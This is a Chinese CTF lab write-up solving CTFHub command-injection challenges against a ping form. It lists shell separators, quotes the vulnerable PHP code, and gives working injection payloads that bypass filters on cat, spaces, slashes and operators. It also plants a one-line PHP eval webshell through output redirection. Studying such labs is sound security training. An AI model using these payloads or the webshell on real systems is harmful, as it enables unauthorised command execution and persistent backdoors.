CTFHub技能树笔记之RCE:命令注入过滤cat过滤空格
Posted weixin_48799157
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFHub技能树笔记之RCE:命令注入过滤cat过滤空格相关的知识,希望对你有一定的参考价值。
小白一个,记录解题过程,如有错误请指正!
一、命令注入
补充知识点:
命令行注入漏洞是指web应用程序中调用了系统可执行命令的函数,而且输入参数是可控的,如果黑客拼接了注入命令,就可以进行非法操作了。
Windows系统支持的管道符如下:
1. “|”:直接执行后面的语句。 2. “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。 3. “&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。 4. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
Linux系统支持的管道符如下:
1. “;”:执行完前面的语句再执行后面的语句。 2. “|”:显示后面语句的执行结果。 3. “||”:当前面的语句执行出错时,执行后面的语句。 4. “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。 5. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
解法一:
1.查看当前目录,发现有另一个页面,当时没太注意
2.查看根目录,发现并没有flag,反应过来flag可能在238442225211085.php
3.查看238442225211085.php,并没有回显
127.0.0.1; cat 238442225211085.php
查了一下,可能是字符编码显示不出来,用base64加密形式显示
127.0.0.1; cat 238442225211085.php |base64
解法二:
补充知识点:
输出重定向:
1.我们可以用重定向的方法注入一个一句话木马:
127.0.0.1&echo -e "<?php @eval(\\$_POST['test']);?>" > shell.php
2.用蚁剑连接即可
二、过滤cat
1.查看当前目录
2.根据题目可以知道cat被过滤了,并不能简单的得到flag
3.使用单引号绕过
127.0.0.1; c''at flag_2287214057241.php |base64
4.使用双引号绕过
127.0.0.1; c""at flag_2287214057241.php |base64
5.利用Shell 特殊变量绕过
127.0.0.1; ca$@t flag_2287214057241.php|base64
三、过滤空格
1.先看当前目录
2.根据题目可以知道空格被过滤掉了
3.空格可以用以下字符代替:< 、<>、%20(space)、%09(tab)、$IFS$9、 $IFS、$IFS
等
$IFS
在linux下表示分隔符,但是如果单纯的cat$IFS2
,bash解释器会把整个IFS2
当做变量名,所以导致输不出来结果,因此这里加一个就固定了变量名。
同理,在后面加个$
可以起到截断的作用,使用$9
是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
以下payload皆可绕过本题空格:
127.0.0.1;cat<flag_2057057213623.php|base64
127.0.0.1;cat$IFS$9flag_2057057213623.php|base64
127.0.0.1;cat$IFSflag_2057057213623.php|base64
参考文章:
https://www.cnblogs.com/0yst3r-2046/p/12600073.html
https://www.runoob.com/linux/linux-shell-io-redirections.html
https://blog.csdn.net/Manuffer/article/details/120672448
CTFHub-技能树-命令执行
CTFHub-技能树-命令执行
1.命令注入
给了源码:
// 关键代码
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {// 传入ip,
$cmd = "ping -c 4 {$_GET['ip']}";// 运行命令,可以拼接
exec($cmd, $res);// 执行cmd,把结果输出到res
}
if ($res) {
print_r($res);// 打印结果
}
show_source(__FILE__);
?>
根据第五行代码,这里直接拼接就行
看到有一个php文件,8061098418328.php
,直接用cat,但是没有显示
考虑到有特殊字符,无法回显,使用base64编码,拿到flag。
这里用到了管道符|
,表示把上一条命令的输出作为下一条命令的输入
2.过滤cat
过滤cat,类似cat的指令这里有一堆
和上一题思路一样,拼接语句
先用ls查看文件名
再用一个类似于cat的指令查看内容并以base64格式输出
下一题
3.过滤空格
空格用${IFS}
代替即可,还可以使用IFS$9、%09、<、>、<>、{,}、%20
来代替空格
其余思路和上一题一样
4.过滤目录分隔符
emmmm,我想的是,过滤了目录分隔符/
那我就不用了,
直接用;
拼接命令即可,其余思路一样
payload: 127.0.0.1;cd flag_is_here;catflag_159229063344.php | base64
5.过滤运算符
前边只有base64编码的时候用到了运算符,而file | base64
也可以写成base64 file
剩下的思路以之前一致
6.综合过滤练习
过滤了|,&,;, ,/,cat,flag,ctfhub
空格可以用${IFS}
cat可以用more
flag可以用正则f***
ctfhub应该用不到
查了一下,在linux下,命令分隔符除了;
还有%0a
有了;就可以不用运算符了
然后按着之前的思路去做就可以了
最终的payload
!这里要注意,因为%0a是url编码,所以一定要输在url中,否则%0a会被再次编码
查看目录127.0.0.1%0als
查看文件夹内容127.0.0.1%0acd${IFS}f***_is_here%0als
查看flag127.0.0.1%0acd${IFS}f***_is_here%0abase64${IFS}f***_31393309531738.php
以上是关于CTFHub技能树笔记之RCE:命令注入过滤cat过滤空格的主要内容,如果未能解决你的问题,请参考以下文章